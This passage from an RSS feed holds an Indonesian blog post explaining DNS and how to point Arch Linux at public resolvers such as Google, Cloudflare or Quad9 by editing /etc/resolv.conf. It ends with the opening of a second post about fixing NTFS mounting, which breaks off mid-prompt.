&lt;li&gt;Sangat lamban untuk terhubung ke internet, bahkan hanya untuk &lt;em&gt;Google-ing&lt;/em&gt; atau Youtube.&lt;/li&gt;
&lt;li&gt;Sulit mengakses repo distro untuk meng-&lt;em&gt;update&lt;/em&gt; paket-paket.&lt;/li&gt;
&lt;li&gt;Tidak bisa meng-&lt;em&gt;cloning&lt;/em&gt; repo di Github.&lt;/li&gt;
&lt;li&gt;Reddit (dan sub-reddit seperti r/unixporn) diblokir.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Berikut salah satu buktinya:
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;cannot access Archlinux repository for updating packages&quot; loading=&quot;lazy&quot; width=&quot;791&quot; height=&quot;548&quot; src=&quot;/_astro/ss1.DmqqhWeX_2pVPNx.webp&quot; /&gt;&lt;figcaption&gt;cannot access Archlinux repository for updating packages&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Jadi, jelas, artikel ini dimaksudkan untuk menyelesaikan permasalahan-permasalahan tersebut dengan satu solusi sederhana saja, yaitu mengganti DNS.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;The “WHAT”&lt;a href=&quot;#the-what&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;em&gt;The problem has been defined, now it is our turn to solve it.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Tapi, sebelum masuk ke inti solusi, mari kita ulas sedikit tentang apa itu DNS terlebih dahulu.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;DNS&lt;/strong&gt; yang merupakan singkatan dari &lt;strong&gt;Domain Name System&lt;/strong&gt; adalah sistem yang memudahkan kita (atau perangkat/&lt;em&gt;devices&lt;/em&gt; secara teknis) untuk terhubung ke website tanpa menggunakan &lt;em&gt;ip address&lt;/em&gt;, tapi menggunakan nama domain.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Cara kerja DNS seringkali diibaratkan sebagai buku telpon atau kalau sekarang mungkin boleh diibaratkan sebagai aplikasi &lt;em&gt;Contact&lt;/em&gt; yang ada di &lt;em&gt;smartphone&lt;/em&gt;. Setiap smartphone memiliki nomor telepon (contoh: 0822-1234-4321), namun, agar kita sebagai pengguna hape tidak perlu mengingat setiap nomor orang, maka aplikasi &lt;em&gt;Contact&lt;/em&gt; tersebut memfasilitasi kolom nama yang dapat kita isi untuk memudahkan kita untuk mencari dan menghubungi nomor-nomor tersebut.&lt;/p&gt;&lt;p&gt;Begitu juga dengan cara kerja di internet, setiap website memiliki nomor &lt;em&gt;ip address&lt;/em&gt; (contoh: 216.239.38.120). Kita tidak mungkin harus mengetikkan nomor-nomor tersebut di &lt;em&gt;search bar&lt;/em&gt; di browser setiap kali ingin membuka Google. Jadi, dibuatklah sistem untuk mewakilkan &lt;em&gt;ip address&lt;/em&gt; dalam sebuah nama, yaitu &lt;em&gt;&lt;strong&gt;Domain Name System (DNS)&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Ya, memang sesederhana itu definisi dan cara kerja DNS…&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;The “WHO”&lt;a href=&quot;#the-who&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Siapa yang membuat DNS?&lt;/p&gt;&lt;p&gt;DNS ditemukan oleh &lt;em&gt;scientist&lt;/em&gt; Amerika bernama &lt;strong&gt;Paul Mockapetris&lt;/strong&gt; pada tahun 1983.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Sebelum ditemukannya DNS, sistem pencarian situs atau website di internet masih menggunakan &lt;em&gt;ip address&lt;/em&gt;. Kemudian, atas usul dari Mockapetris, dibuatlah sistem tabel yang mereferensikan &lt;em&gt;ip address&lt;/em&gt; ke sistem penamaan yang dinamis yang sekarang disebut sebagai DNS.&lt;/p&gt;&lt;p&gt;Siapa yang mengatur DNS saat ini?&lt;/p&gt;&lt;p&gt;Saat ini, lalu lintas dan alamat setiap perangkat atau website di internet diatur dan dikelola oleh sebuah perusahaan di California, Amerika Serikat bernama &lt;strong&gt;Internet Corporation for Assigned Names and Numbers (ICANN)&lt;/strong&gt;.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;The “HOW”&lt;a href=&quot;#the-how&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Meskipun secara garis besar kita sudah paham cara kerja DNS, namun, jika melihat lebih detail, DNS bekerja dalam beberapa tahapan atau level. Untuk memahami cara kerja DNS secara spesifik, kita perlu mengetahui setidaknya 4&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; jenis server DNS terlebih dahulu.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/@PowerCertAnimatedVideos&quot; target=&quot;_blank&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://www.youtube.com/@PowerCertAnimatedVideos&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;how dns works&quot; loading=&quot;lazy&quot; width=&quot;687&quot; height=&quot;512&quot; src=&quot;/_astro/howdnsworks.D_3jPDC9_29Q1uI.webp&quot; /&gt;&lt;figcaption&gt;how dns works&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;DNS recursor / DNS resolver&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;DNS recursor / DNS resolver adalah server DNS yang bertanggung jawab untuk merespon &lt;em&gt;request&lt;/em&gt; &lt;em&gt;ip address&lt;/em&gt; suatu website dari perangkat kita.&lt;/p&gt;&lt;p&gt;Misalnya, kita ingin membuka &lt;strong&gt;&lt;code&gt;google.com&lt;/code&gt;&lt;/strong&gt; di browser di laptop, maka laptop kita pertama-tama akan menghubugi DNS recursor tersebut untuk meminta &lt;em&gt;ip address&lt;/em&gt; dari &lt;strong&gt;&lt;code&gt;google.com&lt;/code&gt;&lt;/strong&gt;. Server DNS recursor / DNS resolver biasanya terdapat di ISP (&lt;em&gt;Internet Service Provider&lt;/em&gt;) yang kita gunakan, misalnya seperti indih[.]m, bizn[.]t, dan lainnya.&lt;/p&gt;&lt;p&gt;DNS recursor / DNS resolver juga dapat diibaratkan sebagai &lt;a href=&quot;https://kbbi.kemdikbud.go.id/entri/pustakawan&quot; target=&quot;_blank&quot;&gt;pegawai perpustakaan (pustakawan)&lt;/a&gt; yang pertama kali kita tanya jika ingin mencari buku.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Root nameserver&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Root nameserver adalah server DNS yang bertanggung jawab untuk merespon &lt;em&gt;request&lt;/em&gt; &lt;em&gt;ip address&lt;/em&gt; dari DNS recursor / DNS resolver. Alamat dari Root nameserver adalah simbol titik &lt;strong&gt;[.]&lt;/strong&gt; yang berada paling di akhir setiap domain. Misalnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;www.google.com.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Perhatikan bahwa di akhir setelah .com ada titik yang mereferensikan Root server.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Root nameserver juga dapat diibaratkan sebagai sebuah indeks di perpustakaan yang merujuk ke setiap rak buku.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;root nameserver&quot; loading=&quot;lazy&quot; width=&quot;698&quot; height=&quot;433&quot; src=&quot;/_astro/ss2.CLpeTHb4_mxoai.webp&quot; /&gt;&lt;figcaption&gt;root nameserver&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;TLD nameserver&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;TLD (&lt;em&gt;Top Level Domain&lt;/em&gt;) server adalah server DNS yang bertaggung jawab untuk membantu mencarikan &lt;em&gt;ip address&lt;/em&gt; yang diminta oleh Root nameserver dengan memberikan bagian akhir dari sebuah domain atau disebut sebagai &lt;em&gt;Top Level Domain&lt;/em&gt; (TLD). Misalnya, dalam domain &lt;code&gt;www.google.com&lt;/code&gt;, bagian &lt;strong&gt;com&lt;/strong&gt; adalah TLD-nya.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Ada banyak TLD (&lt;em&gt;Top Level Domain&lt;/em&gt;) di internet, diantaranya:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;.com&lt;/strong&gt; (&lt;a href=&quot;https://www.google.com/&quot; target=&quot;_blank&quot;&gt;google.com&lt;/a&gt;, &lt;a href=&quot;https://www.tokopedia.com/&quot; target=&quot;_blank&quot;&gt;tokopedia.com&lt;/a&gt;, &lt;a href=&quot;https://github.com/&quot; target=&quot;_blank&quot;&gt;github.com&lt;/a&gt;, etc)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;.org&lt;/strong&gt; (&lt;a href=&quot;https://archlinux.org/&quot; target=&quot;_blank&quot;&gt;archlinux.org&lt;/a&gt;, &lt;a href=&quot;https://www.virtualbox.org/&quot; target=&quot;_blank&quot;&gt;virtualbox.org&lt;/a&gt;, &lt;a href=&quot;https://www.wikipedia.org/&quot; target=&quot;_blank&quot;&gt;wikipedia.org&lt;/a&gt;, etc)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;.net&lt;/strong&gt; (&lt;a href=&quot;https://ankiweb.net/&quot; target=&quot;_blank&quot;&gt;ankiweb.net&lt;/a&gt;, &lt;a href=&quot;https://www.speedtest.net/&quot; target=&quot;_blank&quot;&gt;speedtest.net&lt;/a&gt;, &lt;a href=&quot;https://www.minecraft.net/en-us&quot; target=&quot;_blank&quot;&gt;minecraft.net&lt;/a&gt;, etc)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;.gov&lt;/strong&gt; (&lt;a href=&quot;https://www.nasa.gov/&quot; target=&quot;_blank&quot;&gt;nasa.gov&lt;/a&gt;, &lt;a href=&quot;https://www.usa.gov/&quot; target=&quot;_blank&quot;&gt;usa.gov&lt;/a&gt;, &lt;a href=&quot;https://www.gov.sg/&quot; target=&quot;_blank&quot;&gt;gov.sg&lt;/a&gt;, etc)&lt;/li&gt;
&lt;li&gt;etc.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Untuk referensi lebih lanjut, silakan merujuk ke:&lt;br /&gt;
&lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_Internet_top-level_domains&quot; target=&quot;_blank&quot;&gt;https://en.wikipedia.org/wiki/List_of_Internet_top-level_domains&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;TLD nameserver juga dapat diibaratkan sebagai rak buku spesifik di perpustakaan yang merujuk pada kategori buku tertentu.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;tld nameserver&quot; loading=&quot;lazy&quot; width=&quot;698&quot; height=&quot;433&quot; src=&quot;/_astro/ss3.C5tat0Y1_Z36PcL.webp&quot; /&gt;&lt;figcaption&gt;tld nameserver&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Authoritative nameserver&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Authoritative nameserver adalah server DNS yang bertanggung jawab untuk memberikan &lt;em&gt;ip address&lt;/em&gt; dari nama domain yang diminta oleh TLD nameserver. Server DNS ini adalah server terakhir yang diakses oleh server-server ketika mencari nomor &lt;em&gt;ip address&lt;/em&gt; dari suatu nama domain. Jadi, jika misalnya DNS recursor / DNS resolver tadi di awal meminta &lt;em&gt;ip address&lt;/em&gt; &lt;code&gt;www.google.com&lt;/code&gt;, maka Authoritative nameserver sebagai DNS server terakhir akan memberikan alamat ip tersebut ke DNS recursor / DNS resolver.&lt;/p&gt;&lt;p&gt;Begitupula jika diibaratkan di perpustakaan, Authoritative nameserver adalah alamat/nomor/buku spesifik yang diberikan ke pustakawan (DNS recursor / DNS resolver).&lt;/p&gt;&lt;p&gt;Dan semua proses tersebut tentu saja berlangsung &lt;em&gt;behind the scene&lt;/em&gt; alias tanpa campur tangan kita sebagai user.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;authoritative nameserver&quot; loading=&quot;lazy&quot; width=&quot;698&quot; height=&quot;433&quot; src=&quot;/_astro/ss4.DLfzTb4N_Z296yJr.webp&quot; /&gt;&lt;figcaption&gt;authoritative nameserver&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Video penjelasan cara kerja DNS di Youtube:&lt;/p&gt;
&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;The “WHEN”&lt;a href=&quot;#the-when&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sekarang, kita paham cara kerja DNS.&lt;/p&gt;&lt;p&gt;Namun, pertanyaan yang perlu kita cari solusinya masih belum secara gamblang terjawab:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Mengapa terkadang internet kita terasa lamban untuk mengakses website?&lt;/li&gt;
&lt;li&gt;Mengapa kita sulit mengakses repo distro linux untuk update packages?&lt;/li&gt;
&lt;li&gt;Mengapa cloning repo dari Github tidak bisa dilakukan?&lt;/li&gt;
&lt;li&gt;Mengapa situs terblokir (seperti Reddit) tidak bisa diakses?&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Jawaban sederhananya, bisa jadi semua &lt;em&gt;problem&lt;/em&gt; tersebut disebabkan karena kita menggunakan DNS resolver yang tidak tepat.&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Secara default, perangkat kita (komputer, laptop, smartphone) merujuk pada DNS resolver dari ISP (&lt;em&gt;Internet Service Provider&lt;/em&gt;) yang digunakan ketika berselancar di internet. Jadi, &lt;em&gt;device&lt;/em&gt; kita akan minta &lt;em&gt;ip address&lt;/em&gt; dari website-website yang kita kunjungi ke DNS resolver yang dikelola oleh ISP. Nah, beberapa diagnosa masalah dapat muncul karena kita menggunakan DNS resolver milik ISP-ISP lokal tersebut, setidaknya karena satu hal yang pasti: &lt;strong&gt;“ISP lokal pasti mengikuti regulasi pemerintah.”&lt;/strong&gt; Jadi, beberapa website tidak dapat diakses mungkin karena memang tidak didaftarkan pada DNS resolver-nya atau memang sengaja diblokir oleh ISP agar tidak dapat diakses (tentu dengan tujuan yang baik, misalnya untuk menghindari judi online, pornografi, &lt;em&gt;phishing&lt;/em&gt;, dan lain-lain).&lt;/p&gt;&lt;p&gt;Solusinya? Gunakan DNS Resolver non-ISP lokal.&lt;/p&gt;&lt;p&gt;Ada beberapa perusahaan penyedia DNS resolver, seperti:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Google:&lt;/strong&gt; &lt;a href=&quot;https://developers.google.com/speed/public-dns/docs/using&quot; target=&quot;_blank&quot;&gt;8.8.8.8, 8.8.4.4&lt;/a&gt;
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;google public dns resolver ip address&quot; loading=&quot;lazy&quot; width=&quot;705&quot; height=&quot;436&quot; src=&quot;/_astro/ss5.CaMF5Hmm_VDPNo.webp&quot; /&gt;&lt;figcaption&gt;google public dns resolver ip address&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cloudflare:&lt;/strong&gt; &lt;a href=&quot;https://developers.cloudflare.com/1.1.1.1/ip-addresses/&quot; target=&quot;_blank&quot;&gt;1.1.1.1, 1.0.0.1&lt;/a&gt;
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;cloudflare dns resolver ip address&quot; loading=&quot;lazy&quot; width=&quot;707&quot; height=&quot;442&quot; src=&quot;/_astro/ss6.Cx8Mxvvj_66bnT.webp&quot; /&gt;&lt;figcaption&gt;cloudflare dns resolver ip address&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Quad9:&lt;/strong&gt; &lt;a href=&quot;https://www.quad9.net/&quot; target=&quot;_blank&quot;&gt;9.9.9.9, 149.112.112.112&lt;/a&gt;
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;quad9 dns resolver ip address&quot; loading=&quot;lazy&quot; width=&quot;712&quot; height=&quot;442&quot; src=&quot;/_astro/ss7.BPHkFK5j_Z1piQgd.webp&quot; /&gt;&lt;figcaption&gt;quad9 dns resolver ip address&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;etc&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;em&gt;So&lt;/em&gt;, kapan waktu yang tepat untuk mengganti DNS? Saat diperlukan…&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Perhatikan bahwa setiap DNS resolver dibuat dengan tujuannya masing-masing.
Ada yang dibuat khusus untuk publik, alias akan menampilkan semua pencarian tanpa filter seperti DNS milik Google. Namun, ada juga yang dibuat untuk membuat filter konten tertentu pada hasil pencarian, seperti DNS milik Quad9 dan NextDNS.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;The “WHERE”&lt;a href=&quot;#the-where&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sekarang, untuk mengatur agar perangkat kita (terutama Archlinux) merujuk ke DNS resolver yang kita inginkan, satu file yang perlu kita perhatikan, yaitu:&lt;br /&gt;
&lt;strong&gt;&lt;code&gt;/etc/resolv.conf&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Kita hanya perlu mengisi file tersebut dengan &lt;em&gt;nameserver&lt;/em&gt; dan &lt;em&gt;ip address&lt;/em&gt; dari DNS resolver yang ingin kita gunakan. Misalnya, jika saya ingin menggunakan DNS resolver dari Google, maka isi file-nya adalah sebagai berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nameserver 8.8.8.8&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nameserver 8.8.4.4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika ingin menggantinya langsung di terminal, kita dapat menggunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;echo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;nameserver 8.8.8.8&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nameserver 8.8.4.4&apos;&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;tee&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/resolv.conf&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;changing dns resolver through terminal on linux&quot; loading=&quot;lazy&quot; width=&quot;703&quot; height=&quot;437&quot; src=&quot;/_astro/ss8.BDzrw9_l_Z1lexMR.webp&quot; /&gt;&lt;figcaption&gt;changing dns resolver through terminal on linux&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Dengan demikian, sekarang Archlinux saya akan me-&lt;em&gt;request&lt;/em&gt; &lt;em&gt;ip address&lt;/em&gt; ke DNS resolver Google.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Jika ingin berganti DNS resolver, kita cukup mengganti &lt;em&gt;ip address&lt;/em&gt;-nya saja sehingga formatnya tetap sama: &lt;strong&gt;&lt;code&gt;nameserver ip-address&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Semoga bermanfaat!&lt;br /&gt;
Harap digunakan dengan sebaik-baiknya ya! 😊&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloudflare.com/learning/dns/what-is-dns/&quot; target=&quot;_blank&quot;&gt;https://www.cloudflare.com/learning/dns/what-is-dns/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-2&quot;&gt;↩&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.internethalloffame.org/inductee/paul-mockapetris/&quot; target=&quot;_blank&quot;&gt;https://www.internethalloffame.org/inductee/paul-mockapetris/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wikijuris.net/cyberlaw/dns/&quot; target=&quot;_blank&quot;&gt;https://wikijuris.net/cyberlaw/dns/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=mpQZVYPuDGU&amp;amp;ab_channel=PowerCertAnimatedVideos&quot; target=&quot;_blank&quot;&gt;https://www.youtube.com/watch?v=mpQZVYPuDGU&amp;amp;ab_channel=PowerCertAnimatedVideos&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.techradar.com/news/best-dns-server&quot; target=&quot;_blank&quot;&gt;https://www.techradar.com/news/best-dns-server&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Having A Problem to Mount NTFS via Terminal?</title><link>https://shangdi.github.io/posts/tech/mountntfs/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/mountntfs/</guid><description>Solving the NTFS problem while mounting it through terminal.</description><pubDate>Wed, 26 Feb 2025 03:16:28 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Introduction&lt;a href=&quot;#introduction&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Beberapa hari lalu, saya meng-&lt;em&gt;install&lt;/em&gt; &lt;a href=&quot;https://archlinux.org/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Archlinux&lt;/strong&gt;&lt;/a&gt; sebagai &lt;em&gt;dual boot&lt;/em&gt; dengan Windows di laptop saya. Sebagai informasi, saya memiliki 2 drive utama dalam laptop, yaitu drive 1 (SSD) yang digunakan sebagai tempat menyimpan sistem operasi (Windows &amp;amp; Archlinux) dan drive 2 (HDD) yang digunakan untuk menyimpan data-data lain, seperti dokumen, foto, video, dan lain sebagainya.&lt;/p&gt;&lt;p&gt;Nah, setelah selesai meng-&lt;em&gt;install&lt;/em&gt; Archlinux, saya ingin mengakses drive 2 (HDD), di sini saya punya 2 opsi cara untuk mengaksesnya, yaitu melalui:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;File Manager (Thunar).&lt;/li&gt;
&lt;li&gt;Terminal (Kitty).&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Masalahnya adalah, saya tidak dapat mengakses drive 2 (HDD) tersebut, baik via Thunar maupun via Kitty. Berikut buktinya beserta keterangan gagal &lt;em&gt;mounting&lt;/em&gt;-nya:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;File Manager&lt;/strong&gt;: &lt;em&gt;Not authorized to perform operation.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Terminal&lt;/strong&gt;: &lt;em&gt;unknown filesystem type ‘ntfs’.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Tentu saja ini menjadi masalah (besar), karena sangat disayangkan, sudah memasang linux sekeren Archlinux, tapi tidak dapat mengakses drive yang berisi data-data penting. Di sinilah saya mulai mengeksplor solusinya…&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Method&lt;a href=&quot;#method&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Bagaimana cara menyelesaikannya?&lt;/p&gt;&lt;p&gt;Mudah saja, kita ambil cara yang paling sederhana: &lt;strong&gt;“tanya &lt;a href=&quot;https://chatgpt.com/&quot; target=&quot;_blank&quot;&gt;ChatGPT&lt;/a&gt;”&lt;/strong&gt;. Berbekel &lt;em&gt;prompt&lt;/em&gt; yang benar, kita akan mendapatkan jawaban yang relevan dan &lt;em&gt;to the point&lt;/em&gt;. Berikut adalah &lt;em&gt;prompt&lt;/em&gt; yang saya gunakan:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Saya tidak dapat me-mounting drive HDD di Archlinux via terminal, berikut adalah pesan error-nya:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mount: /home/wildan/data: unknown filesystem type &apos;ntfs&apos;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;       &lt;/span&gt;&lt;/span&gt;&lt;span&gt;dmesg(1) may have more information after failed mount system call.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
